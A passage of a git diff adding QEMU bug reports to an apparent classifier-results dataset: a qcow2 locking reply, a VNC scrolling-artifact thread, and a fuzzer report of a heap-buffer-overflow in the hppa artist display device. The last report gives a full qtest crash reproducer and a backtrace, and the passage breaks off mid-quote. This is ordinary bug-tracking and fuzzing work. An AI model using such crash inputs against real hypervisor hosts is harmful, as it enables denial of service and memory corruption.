dangerous.) + +Then it would look like this: driver=qcow2,file.driver=file,file.filename=foo.qcow2,file.locking=off + +(Or, in JSON, but that only works with qemu’s -blockdev (but I think it’s better for visualizing the resulting block graph: + {"node-name": "some-node-name", + "driver": "qcow2", + "file": { + "driver": "file", + "filename": "foo.qcow2", + "locking": false + } }) + + +Hope that helps, + +Max + diff --git a/results/classifier/deepseek-1/output/again./397212 b/results/classifier/deepseek-1/output/again./397212 new file mode 100644 index 00000000..9034bc64 --- /dev/null +++ b/results/classifier/deepseek-1/output/again./397212 @@ -0,0 +1,216 @@ + +Scrolling artifacts on some guests + +Screen doesn't refresh properly when scrolling (see the attachment). + +The behavior is seen on RHEL 4.8 and SLES 11, but not on RHEL 5.3. However, on RHEL5.3, scrolling is very sluggish. It seems to be a trade-off between quick movement and frequent / accurate refreshing. + +Command line: + +qemu-system-x86_64 -m 2048 -drive file=/scratch/images/SLES-11-GMC-x86_64.raw -net nic,vlan=0,macaddr=DE:AD:BE:EF:88:95,model=rtl8139 -net tap -vnc :40 -boot cd -monitor stdio -smp 4 + + + +From your command line, I suspect you're testing a copy of KVM. Is this reproducible with the upstream QEMU and if so, with what version (either 0.10.5 or specific git commit)? + +Yes, reproducible upstream. + +commit 9af4aed6c749786edb780e5de1795377f515e8f7 +Author: Andre Przywara <email address hidden> +Date: Thu Jul 2 16:45:43 2009 +0200 + + +Two Fedora 11 (qemu-0.10.x) bugs on this too: + + https://bugzilla.redhat.com/503156 + https://bugzilla.redhat.com/507626 + +Glauber posted a patch here: + + http://lists.gnu.org/archive/html/qemu-devel/2009-07/msg01498.html + + +Description of problem: +after for example catting a large file inside an xterm there are text artifacts remaining inside the xterm window. Scrolling up and down the xterm makes things even worse. + +Not sure if it's related to window scaling, please reassign appropriately if not a virt-manager bug. + +Screenshot attached + +Version-Release number of selected component (if applicable): +virt-manager-0.7.0-5.fc11.i586 + +How reproducible: +always + +Steps to Reproduce: +1. start VM +2. open xterm inside VM +3. cat large file (/var/log/messages) and scroll to make things worse + +Actual results: +text appears garbled + +Expected results: +text appears normal without artifacts + +Additional info: + +Created attachment 345887 +garbled-xterm.png + +Yeah, I can reproduce this, even with vncviewer - doesn't seem reproducible outside of KVM, though + +Moving to qemu + + +This bug appears to have been reported against 'rawhide' during the Fedora 11 development cycle. +Changing version to '11'. + +More information and reason for this action is here: +http://fedoraproject.org/wiki/BugZappers/HouseKeeping + +bug #507626 is probably a dup of this + +Similar bug report for Ubuntu: + +https://bugs.launchpad.net/qemu/+bug/397212 + +Glauber posted a patch here: + +http://lists.gnu.org/archive/html/qemu-devel/2009-07/msg01498.html + +*** Bug 507626 has been marked as a duplicate of this bug. *** + +Glauber, do you plan to push updated builds with this patch for F-11? I don't see this patch incorporated on any of the recent koji builds..? + +The patched was NACKed upstream by Gerd. He believes there is a better way to solve it. As such, I indent to wait for the real fix, or write it myself it Gerd takes too long + +Gerd has posted an updated patch here: + +http://lists.gnu.org/archive/html/qemu-devel/2009-07/msg02107.html + +my test machine is down presently, so haven't had chance to test it yet. + +Have been playing with this a bit, and unfortunately applying the patch in comment #10 against 0.10.5 requires picking up a fair amount of the recent vnc logic changes (vnc.c and vnc.h) - not sure how you'd recommend proceeding here? One option would be to pull vnc.[c,h] from the current HEAD and add the patch, I suppose.. not sure what else might break. + +So, the upstream commit is: + + http://git.savannah.gnu.org/cgit/qemu.git/commit/?id=3e28c9adf4 + +and it depends on the fix for bug #501131 which we also want back-ported + +(Note the vnc copyrect patch isn't applied to the stable-0.11 branch for F-12 yet, either) + +What I'd really like to see is both of these fixes back-ported to the stable-0.10 branch and sent upstream to qemu-devel + +This should be in the 0.10.7 release shortly: + + http://git.savannah.gnu.org/cgit/qemu.git/commit/?h=stable-0.10&id=74ccfe8b7e + +Will push this to updates-testing soon: + +* Fri Sep 11 2009 Mark McLoughlin <email address hidden> - 2:0.10.6-5 +- Fix vnc segfault on disconnect (#501131) +- Fix vnc screen corruption with e.g. xterm (#503156) +- Rebase vnc sasl patches on top of these two vnc fixes + +qemu-0.10.6-5.fc11 has been submitted as an update for Fedora 11. +http://admin.fedoraproject.org/updates/qemu-0.10.6-5.fc11 + +Created attachment 360920 +Windows XP guest with grabled screen + +As the image attached in Comment #16 shows, this update doesn't fix the problem for me. This is using: + +# rpm -qa | grep qemu +qemu-system-x86-0.10.6-5.fc11.x86_64 +qemu-img-0.10.6-5.fc11.x86_64 +qemu-common-0.10.6-5.fc11.x86_64 + +Thanks for testing Jonathan + +No problem. Alas, if anything, the screen tearing has gotten worse with this version, rather than better - previously resizing the window in the guest triggered a redraw which would clean up the garbage (at least until scrolled again), but now that trick no longer works. + +Why on earth was version 2:qemu-0.10.6-5.fc11.x86_64 released +with this "bugfix" that has made the graphics looks worse? + +Good question in Comment #20. Surely that's a mistake Mark? + +Sorry about that, guys + +This 'fix' will be in 0.10.7, so I'm inclined to leave it in for the moment and try and get it fixed + +If we don't get progress, I'll revert it soon + +Is it worth pushing a build of the 0.10.7 rc to updates-testing? + +Anything new on this bug? + +It's been open for 5 months now. + +It's realllllyyy annoying, it makes Windows even harder to use :-( + +*** Bug 528939 has been marked as a duplicate of this bug. *** + +What would the implications of pushing qemu 0.11 to FC11 be - would that work with libvirt and friends? If so, any chance of doing such a push? + +We don't have any immediate plans to update qemu in Fedora 11 to 0.11. See: + + http://www.redhat.com/archives/fedora-virt/2009-April/msg00008.html + +Honestly, it should be a lot easier to fix this bug than deal with the fallout from the inevitable regressions that would be caused by a re-base. It's just a question of someone finding the time to debug it. + +(In reply to comment #27) +> We don't have any immediate plans to update qemu in Fedora 11 to 0.11. See: +> +> http://www.redhat.com/archives/fedora-virt/2009-April/msg00008.html +> +> Honestly, it should be a lot easier to fix this bug than deal with the fallout +> from the inevitable regressions that would be caused by a re-base. It's just a +> question of someone finding the time to debug it. + +Bah ... + +Is there some way to workaround this bug? + +Is there another way to connect to the output other than VNC? + +I've been using virt-manager. + +Patrick - you could presumably run a VNC server inside your guest and connect to that, rather than the QEMU vnc client. + +The problem with backporting a fix is that there's been a lot of code churn with the vnc related stuff in qemu, so to actually fix it would require some knowledge of the vnc stuff, rather than mechanical adding and removing of commits (I know, as I tried that sometime ago). The people with that knowledge are too busy pushing forward than looking back at old releases (understandably - it's more interesting). + +qemu-0.10.6-9.fc11 has been submitted as an update for Fedora 11. +http://admin.fedoraproject.org/updates/qemu-0.10.6-9.fc11 + +Patrick and Jonathan: okay, let's try and hit this bad boy with our big stick + +I'm pretty sure it's a problem with qemu's implementation of the CopyRect extension, so I've just disabled that extension in qemu-0.10.6-9.fc11 - that should fix the problem + +AFAIK, CopyRect works fine in qemu-0.11.0 in Fedora 12 + +Could you confirm that qemu-0.10.6-9.fc11 fixes the issue? (comment here and bump the karma in bodhi if so) + +Thanks! + +* Fri Oct 23 2009 Mark McLoughlin <email address hidden> - 2:0.10.6-9 +- Disable the vnc CopyRect encoding since it's still broken (#503156) + +Mark: qemu-0.10.6-9.fc11 does indeed fix the issue for me. Thanks very much for taking the time to look at this. + +(In reply to comment #32) +> Mark: qemu-0.10.6-9.fc11 does indeed fix the issue for me. Thanks very much for +> taking the time to look at this. + +Me too, thanks! + +I commented on the web page (showed up as anonymous), but how do I bump bodhi karma? + +qemu-0.10.6-9.fc11 has been pushed to the Fedora 11 testing repository. If problems still persist, please make note of it in this bug report. + If you want to test the update, you can install it with + su -c 'yum --enablerepo=updates-testing update qemu'. You can provide feedback for this update here: http://admin.fedoraproject.org/updates/F11/FEDORA-2009-10754 + +qemu-0.10.6-9.fc11 has been pushed to the Fedora 11 stable repository. If problems still persist, please make note of it in this bug report. + diff --git a/results/classifier/deepseek-1/output/appropriately./1880326 b/results/classifier/deepseek-1/output/appropriately./1880326 new file mode 100644 index 00000000..59d11dbc --- /dev/null +++ b/results/classifier/deepseek-1/output/appropriately./1880326 @@ -0,0 +1,706 @@ + +memory writes make artist_rop8() crash + +As of commit d19f1ab0, LLVM libFuzzer found: + +================================================================= +==6814==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fd89f97bd5a at pc 0x55dc44594db5 bp 0x7ffd6f461b40 sp 0x7ffd6f461b38 +READ of size 1 at 0x7fd89f97bd5a thread T0 + #0 0x55dc44594db4 in artist_rop8 + #1 0x55dc44595fd9 in draw_line + #2 0x55dc445937e4 in draw_line_size + #3 0x55dc4458ee9d in artist_reg_write + #4 0x55dc43f77ba7 in memory_region_write_accessor + #5 0x55dc43f775b8 in access_with_adjusted_size + #6 0x55dc43f762b3 in memory_region_dispatch_write + #7 0x55dc43dbb322 in flatview_write_continue + #8 0x55dc43dab2e2 in flatview_write + #9 0x55dc43daae14 in address_space_write + +0x7fd89f97bd5a is located 1122 bytes to the right of 16777464-byte region [0x7fd89e97b800,0x7fd89f97b8f8) +allocated by thread T0 here: + #0 0x55dc43d87abf in operator new(unsigned long) + #1 0x55dc43c4274d in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) + #2 0x55dc43c3a526 in main (qemu-fuzz-hppa+0x982526) + #3 0x7fd8d05edf42 in __libc_start_main (/lib64/libc.so.6+0x23f42) + +SUMMARY: AddressSanitizer: heap-buffer-overflow (qemu-fuzz-hppa+0x12dcdb4) in artist_rop8 +Shadow bytes around the buggy address: + 0x0ffb93f27750: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0ffb93f27760: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0ffb93f27770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0ffb93f27780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0ffb93f27790: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +=>0x0ffb93f277a0: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa + 0x0ffb93f277b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0ffb93f277c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0ffb93f277d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0ffb93f277e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0ffb93f277f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb + Shadow gap: cc +==6814==ABORTING + +How to reproduce: + +qemu-system-hppa -S -qtest stdio -accel qtest -display none < EOF +writeb 0xf8100081 0x40 +writeb 0xf81000c5 0x40 +writeb 0xf8100e44 0x2b +writeb 0xf8100e44 0x56 +writeb 0xf8100e44 0x10 +writeb 0xf8100600 0x0 +writeb 0xf8100821 0x21 +writeb 0xf8100b01 0x14 +writew 0xf8100044 0x1245 +writeb 0xf8100a0e 0x50 +writeb 0xf8100a02 0x49 +writeb 0xf8100821 0x0 +writew 0xf8100014 0x0 +writeb 0xf8100e46 0x46 +writeb 0xf8100052 0xe +writeb 0xf8100621 0x14 +writeb 0xf8100b01 0x14 +writew 0xf8100044 0x1241 +writeb 0xf8100b02 0x25 +writeb 0xf8100b01 0x4 +writeb 0xf8100e46 0xb0 +writeb 0xf8100b02 0x0 +writel 0xf81000c4 0x49494949 +writeb 0xf8100b02 0x10 +writew 0xf8100010 0x11 +writew 0xf8100044 0x1212 +writew 0xf8100044 0x1245 +writew 0xf8100050 0xe2a +writeb 0xf8100002 0x11 +writeb 0xf8100081 0xec +writeb 0xf8100081 0xec +writeb 0xf810030e 0xe +writeb 0xf810000e 0x44 +writeb 0xf8100000 0xe +writeb 0xf8100044 0xe +writeb 0xf8100000 0xe +writeb 0xf810030e 0x13 +writeb 0xf8100b44 0x2a +writeb 0xf8100bf8 0x4 +writeb 0xf8100007 0x45 +writeb 0xf81000ff 0xff +writew 0xf8100044 0xf042 +writew 0xf8100000 0x45 +writew 0xf8100044 0xf042 +writeb 0xf8100000 0xc5 +writeb 0xf81000ff 0xff +writel 0xf8100044 0x101364ff +writel 0xf81000c4 0xfba0a0a0 +writeb 0xf8100000 0x2a +writeb 0xf81000c5 0x40 +writeb 0xf81000ff 0xdf +writew 0xf8100000 0x4144 +writeb 0xf81000df 0x0 +writew 0xf8100044 0x4400 +writel 0xf8100044 0x101364ff +writel 0xf81000c4 0xfb490045 +writeb 0xf8100000 0x2a +writeb 0xf81000c5 0x40 +writel 0xf8100044 0x101364ff +writel 0xf8100bc4 0x49004545 +writeb 0xf8100000 0x2a +writeb 0xf81000c5 0x40 +writeb 0xf810000e 0x21 +writeb 0xf8100000 0x2a +writeb 0xf81000c3 0x40 +writeb 0xf81000ff 0xdf +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1210 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1210 +writew 0xf8100000 0x4144 +writew 0xf8100044 0x4400 +writew 0xf8100000 0x4144 +writew 0xf81000bc 0xc100 +writew 0xf8100000 0x4144 +writew 0xf81000bc 0xc100 +writew 0xf8100044 0x1210 +writel 0xf8100044 0xfb53000a +writew 0xf8100044 0x1210 +writel 0xf8100044 0xfb53000a +writew 0xf8100044 0x1210 +writel 0xf8100044 0xfba7000a +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1210 +writew 0xf8100000 0x4144 +writew 0xf8100000 0x4144 +writew 0xf8100000 0x4144 +writew 0xf8100044 0x4400 +writew 0xf8100044 0x4411 +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1212 +writew 0xf8100044 0x4445 +writeb 0xf81000ff 0xff +writeb 0xf8100121 0x14 +writeb 0xf8100121 0x14 +writeb 0xf8100421 0x0 +writeb 0xf8100421 0x28 +writeb 0xf8100000 0x2a +writeb 0xf81000c5 0x40 +writeb 0xf8100040 0x0 +writeb 0xf8100007 0x45 +writeb 0xf8100007 0x45 +writeb 0xf8100bf8 0x4 +writeb 0xf8100bf8 0x4 +writeb 0xf8100bf8 0x4 +writeb 0xf8100bf8 0x4 +writeb 0xf8100bf8 0x4 +writew 0xf8100060 0x11 +writew 0xf8100060 0x11 +writew 0xf8100060 0x17 +writeb 0xf8100446 0x46 +writeb 0xf8100604 0x50 +writeb 0xf8100821 0x21 +writeb 0xf8100108 0x21 +writeb 0xf810010c 0x21 +writeb 0xf8100081 0xec +writeb 0xf8100041 0xec +writel 0xf8100044 0x101364ff +writel 0xf81000c4 0xfba0a0a0 +writel 0xf8100044 0x101364ff +writel 0xf81000c4 0xfba0a0a0 +writel 0xf8100044 0x101364ff +writel 0xf81000c4 0xfba0a0a0 +writeb 0xf8100052 0x24 +writew 0xf8100000 0x4144 +writeb 0xf81000df 0x0 +writew 0xf8100044 0x4400 +writew 0xf8100000 0x4144 +writeb 0xf81000df 0x41 +writeb 0xf8100504 0x50 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100094 0x4145 +writel 0xf8100044 0x10424410 +writel 0xf81000a0 0xa0a0492a +writel 0xf8100044 0x10040000 +writeb 0xf8100007 0x44 +writeb 0xf81000ff 0xff +writeb 0xf8100007 0x44 +writeb 0xf81000ff 0x4 +writel 0xf8100044 0x10134900 +writeb 0xf8100000 0x2a +writeb 0xf81000c5 0x40 +writeb 0xf8100000 0x2a +writeb 0xf81000c5 0x40 +writew 0xf8100040 0x1212 +writew 0xf8100044 0x1245 +writew 0xf8100040 0x1212 +writew 0xf8100040 0x5002 +writew 0xf8100040 0x5002 +writew 0xf8100040 0x502a +writeb 0xf8100081 0x40 +writeb 0xf810005d 0x40 +writeb 0xf8100030 0x5d +writeb 0xf8100e44 0x44 +writeb 0xf8100044 0x3 +writeb 0xf8100044 0x3 +writeb 0xf8100044 0x13 +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1210 +writew 0xf8100044 0x6d10 +writeb 0xf8100044 0x6d +writeb 0xf8100000 0x2a +writeb 0xf8100044 0x40 +writeb 0xf8100045 0xec +writew 0xf8100044 0x1210 +writew 0xf8100044 0x1245 +writel 0xf8100044 0x101364ff +writel 0xf81000c4 0xfba0a0a0 +writel 0xf8100044 0x101364ff +writel 0xf8100044 0x101364ff +writel 0xf8100044 0x101364ff +writel 0xf8100008 0xfba0a0a0 +writel 0xf8100044 0x4208fba0 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100000 0x4144 +writeb 0xf810030e 0xe +writeb 0xf810030e 0xe +writeb 0xf810032b 0xe +writeb 0xf810032b 0xe +writew 0xf8100010 0x4412 +writew 0xf81000ca 0x4441 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writeb 0xf8100080 0xe +writeb 0xf8100080 0xd8 +writeb 0xf8100080 0x26 +writeb 0xf8100040 0x80 +writeb 0xf8100040 0x26 +writeb 0xf81000c3 0x40 +writeb 0xf81000ff 0xdf +writeb 0xf81000c3 0x40 +writeb 0xf81000ff 0xdf +writew 0xf8100014 0x4000 +writeb 0xf8100000 0xe +writeb 0xf8100000 0x9e +writeb 0xf8100000 0x3c +writeb 0xf8100000 0x3c +writeb 0xf8100000 0x3c +writew 0xf8100000 0x4144 +writeb 0xf81000df 0x41 +writeb 0xf8100007 0x45 +writeb 0xf81000ff 0xff +writeb 0xf8100007 0xb4 +writeb 0xf81000ff 0xff +writeb 0xf8100007 0xb4 +writeb 0xf8100007 0xb4 +writel 0xf8100044 0x10139c05 +writel 0xf81000c4 0xfba0a0a0 +writeb 0xf8100604 0x50 +writeb 0xf8100021 0xe +writeb 0xf8100021 0xe +writeb 0xf8100021 0xe +writeb 0xf8100021 0x90 +writew 0xf8100010 0x11 +writew 0xf8100010 0x11 +writew 0xf8100010 0x11 +writeb 0xf8100021 0xe +writeb 0xf8100021 0xe +writeb 0xf8100021 0xe +writeb 0xf8100021 0xe +writeb 0xf8100021 0xe +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writew 0xf8100010 0x4412 +writeb 0xf8100021 0xe +writeb 0xf8100021 0xe +writeb 0xf8100021 0x21 +writeb 0xf8100021 0x21 +writeb 0xf8100000 0x0 +writeb 0xf8100e04 0x46 +EOF + +Program terminated with signal SIGSEGV, Segmentation fault. +#0 0x000056367b2085c0 in artist_rop8 (s=0x56367d38b510, dst=0x7f9f972fffff <error: Cannot access memory at address 0x7f9f972fffff>, val=0 '\000') at hw/display/artist.c:284 +284 *dst &= ~plane_mask; +(gdb) bt +#0 0x000056367b2085c0 in artist_rop8 (s=0x56367d38b510, dst=0x7f9f972fffff <error: Cannot access memory at address 0x7f9f972fffff>, val=0 '\000') at hw/display/artist.c:284 +#1 0x000056367b209325 in draw_line (s=0x56367d38b510, x1=-20480, y1=-1, x2=0, y2=17920, update_start=true, skip_pix=-1, max_pix=-1) at hw/display/artist.c:646 +#2 0x000056367b2095a0 in draw_line_size (s=0x56367d38b510, update_start=true) at hw/display/artist.c:696 +#3 0x000056367b20a214 in artist_reg_write (opaque=0x56367d38b510, addr=1052164, val=70, size=1) at hw/display/artist.c:932 +#4 0x000056367b06ea7c in memory_region_write_accessor (mr=0x56367d38ba10, addr=1052164, value=0x7fff112132d8, size=1, shift=0, mask=255, attrs=...) at memory.c:483 +#5 0x000056367b06ec33 in access_with_adjusted_size (addr=1052164, value=0x7fff112132d8, size=1, access_size_min=1, access_size_max=4, access_fn= + 0x56367b06e999 <memory_region_write_accessor>, mr=0x56367d38ba10, attrs=...) at memory.c:540 +#6 0x000056367b071bb4 in memory_region_dispatch_write (mr=0x56367d38ba10, addr=1052164, data=70, op=MO_8, attrs=...) at memory.c:1477 +#7 0x000056367b00fe33 in flatview_write_continue (fv=0x56367d6f9fa0, addr=4161801732, attrs=..., ptr=0x7fff112134e0, len=1, addr1=1052164, l=1, mr=0x56367d38ba10) at exec.c:3147 +#8 0x000056367b00ff81 in flatview_write (fv=0x56367d6f9fa0, addr=4161801732, attrs=..., buf=0x7fff112134e0, len=1) at exec.c:3190 +#9 0x000056367b0102eb in address_space_write (as=0x56367cff99c0, addr=4161801732, attrs=..., buf=0x7fff112134e0, len=1) at exec.c:3289 + +On 5/23/20 8:03 PM, Philippe Mathieu-Daudé wrote: +> Public bug reported: +> +> As of commit d19f1ab0, LLVM libFuzzer found: +> +> ================================================================= +> ==6814==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fd89f97bd5a at pc 0x55dc44594db5 bp 0x7ffd6f461b40 sp 0x7ffd6f461b38 +> READ of size 1 at 0x7fd89f97bd5a thread T0 +> #0 0x55dc44594db4 in artist_rop8 +> #1 0x55dc44595fd9 in draw_line +> #2 0x55dc445937e4 in draw_line_size +> #3 0x55dc4458ee9d in artist_reg_write +> #4 0x55dc43f77ba7 in memory_region_write_accessor +> #5 0x55dc43f775b8 in access_with_adjusted_size +> #6 0x55dc43f762b3 in memory_region_dispatch_write +> #7 0x55dc43dbb322 in flatview_write_continue +> #8 0x55dc43dab2e2 in flatview_write +> #9 0x55dc43daae14 in address_space_write +> +> 0x7fd89f97bd5a is located 1122 bytes to the right of 16777464-byte region [0x7fd89e97b800,0x7fd89f97b8f8) +> allocated by thread T0 here: +> #0 0x55dc43d87abf in operator new(unsigned long) +> #1 0x55dc43c4274d in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) +> #2 0x55dc43c3a526 in main (qemu-fuzz-hppa+0x982526) +> #3 0x7fd8d05edf42 in __libc_start_main (/lib64/libc.so.6+0x23f42) +> +> SUMMARY: AddressSanitizer: heap-buffer-overflow (qemu-fuzz-hppa+0x12dcdb4) in artist_rop8 +> Shadow bytes around the buggy address: +> 0x0ffb93f27750: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> 0x0ffb93f27760: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> 0x0ffb93f27770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> 0x0ffb93f27780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> 0x0ffb93f27790: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> =>0x0ffb93f277a0: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa +> 0x0ffb93f277b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> 0x0ffb93f277c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> 0x0ffb93f277d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> 0x0ffb93f277e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> 0x0ffb93f277f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +> Shadow byte legend (one shadow byte represents 8 application bytes): +> Addressable: 00 +> Partially addressable: 01 02 03 04 05 06 07 +> Heap left redzone: fa +> Freed heap region: fd +> Stack left redzone: f1 +> Stack mid redzone: f2 +> Stack right redzone: f3 +> Stack after return: f5 +> Stack use after scope: f8 +> Global redzone: f9 +> Global init order: f6 +> Poisoned by user: f7 +> Container overflow: fc +> Array cookie: ac +> Intra object redzone: bb +> ASan internal: fe +> Left alloca redzone: ca +> Right alloca redzone: cb +> Shadow gap: cc +> ==6814==ABORTING +> +> How to reproduce: +> +> qemu-system-hppa -S -qtest stdio -accel qtest -display none < EOF +> writeb 0xf8100081 0x40 +> writeb 0xf81000c5 0x40 +> writeb 0xf8100e44 0x2b +> writeb 0xf8100e44 0x56 +> writeb 0xf8100e44 0x10 +> writeb 0xf8100600 0x0 +> writeb 0xf8100821 0x21 +> writeb 0xf8100b01 0x14 +> writew 0xf8100044 0x1245 +> writeb 0xf8100a0e 0x50 +> writeb 0xf8100a02 0x49 +> writeb 0xf8100821 0x0 +> writew 0xf8100014 0x0 +> writeb 0xf8100e46 0x46 +> writeb 0xf8100052 0xe +> writeb 0xf8100621 0x14 +> writeb 0xf8100b01 0x14 +> writew 0xf8100044 0x1241 +> writeb 0xf8100b02 0x25 +> writeb 0xf8100b01 0x4 +> writeb 0xf8100e46 0xb0 +> writeb 0xf8100b02 0x0 +> writel 0xf81000c4 0x49494949 +> writeb 0xf8100b02 0x10 +> writew 0xf8100010 0x11 +> writew 0xf8100044 0x1212 +> writew 0xf8100044 0x1245 +> writew 0xf8100050 0xe2a +> writeb 0xf8100002 0x11 +> writeb 0xf8100081 0xec +> writeb 0xf8100081 0xec +> writeb 0xf810030e 0xe +> writeb 0xf810000e 0x44 +> writeb 0xf8100000 0xe +> writeb 0xf8100044 0xe +> writeb 0xf8100000 0xe +> writeb 0xf810030e 0x13 +> writeb 0xf8100b44 0x2a +> writeb 0xf8100bf8 0x4 +> writeb 0xf8100007 0x45 +> writeb 0xf81000ff 0xff +> writew 0xf8100044 0xf042 +> writew 0xf8100000 0x45 +> writew 0xf8100044 0xf042 +> writeb 0xf8100000 0xc5 +> writeb 0xf81000ff 0xff +> writel 0xf8100044 0x101364ff +> writel 0xf81000c4 0xfba0a0a0 +> writeb 0xf8100000 0x2a +> writeb 0xf81000c5 0x40 +> writeb 0xf81000ff 0xdf +> writew 0xf8100000 0x4144 +> writeb 0xf81000df 0x0 +> writew 0xf8100044 0x4400 +> writel 0xf8100044 0x101364ff +> writel 0xf81000c4 0xfb490045 +> writeb 0xf8100000 0x2a +> writeb 0xf81000c5 0x40 +> writel 0xf8100044 0x101364ff +> writel 0xf8100bc4 0x49004545 +> writeb 0xf8100000 0x2a +> writeb 0xf81000c5 0x40 +> writeb 0xf810000e 0x21 +> writeb 0xf8100000 0x2a +> writeb 0xf81000c3 0x40 +> writeb 0xf81000ff 0xdf +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1210 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1210 +> writew 0xf8100000 0x4144 +> writew 0xf8100044 0x4400 +> writew 0xf8100000 0x4144 +> writew 0xf81000bc 0xc100 +> writew 0xf8100000 0x4144 +> writew 0xf81000bc 0xc100 +> writew 0xf8100044 0x1210 +> writel 0xf8100044 0xfb53000a +> writew 0xf8100044 0x1210 +> writel 0xf8100044 0xfb53000a +> writew 0xf8100044 0x1210 +> writel 0xf8100044 0xfba7000a +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1210 +> writew 0xf8100000 0x4144 +> writew 0xf8100000 0x4144 +> writew 0xf8100000 0x4144 +> writew 0xf8100044 0x4400 +> writew 0xf8100044 0x4411 +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1212 +> writew 0xf8100044 0x4445 +> writeb 0xf81000ff 0xff +> writeb 0xf8100121 0x14 +> writeb 0xf8100121 0x14 +> writeb 0xf8100421 0x0 +> writeb 0xf8100421 0x28 +> writeb 0xf8100000 0x2a +> writeb 0xf81000c5 0x40 +> writeb 0xf8100040 0x0 +> writeb 0xf8100007 0x45 +> writeb 0xf8100007 0x45 +> writeb 0xf8100bf8 0x4 +> writeb 0xf8100bf8 0x4 +> writeb 0xf8100bf8 0x4 +> writeb 0xf8100bf8 0x4 +> writeb 0xf8100bf8 0x4 +> writew 0xf8100060 0x11 +> writew 0xf8100060 0x11 +> writew 0xf8100060 0x17 +> writeb 0xf8100446 0x46 +> writeb 0xf8100604 0x50 +> writeb 0xf8100821 0x21 +> writeb 0xf8100108 0x21 +> writeb 0xf810010c 0x21 +> writeb 0xf8100081 0xec +> writeb 0xf8100041 0xec +> writel 0xf8100044 0x101364ff +> writel 0xf81000c4 0xfba0a0a0 +> writel 0xf8100044 0x101364ff +> writel 0xf81000c4 0xfba0a0a0 +> writel 0xf8100044 0x101364ff +> writel 0xf81000c4 0xfba0a0a0 +> writeb 0xf8100052 0x24 +> writew 0xf8100000 0x4144 +> writeb 0xf81000df 0x0 +> writew 0xf8100044 0x4400 +> writew 0xf8100000 0x4144 +> writeb 0xf81000df 0x41 +> writeb 0xf8100504 0x50 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100094 0x4145 +> writel 0xf8100044 0x10424410 +> writel 0xf81000a0 0xa0a0492a +> writel 0xf8100044 0x10040000 +> writeb 0xf8100007 0x44 +> writeb 0xf81000ff 0xff +> writeb 0xf8100007 0x44 +> writeb 0xf81000ff 0x4 +> writel 0xf8100044 0x10134900 +> writeb 0xf8100000 0x2a +> writeb 0xf81000c5 0x40 +> writeb 0xf8100000 0x2a +> writeb 0xf81000c5 0x40 +> writew 0xf8100040 0x1212 +> writew 0xf8100044 0x1245 +> writew 0xf8100040 0x1212 +> writew 0xf8100040 0x5002 +> writew 0xf8100040 0x5002 +> writew 0xf8100040 0x502a +> writeb 0xf8100081 0x40 +> writeb 0xf810005d 0x40 +> writeb 0xf8100030 0x5d +> writeb 0xf8100e44 0x44 +> writeb 0xf8100044 0x3 +> writeb 0xf8100044 0x3 +> writeb 0xf8100044 0x13 +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x6d10 +> writeb 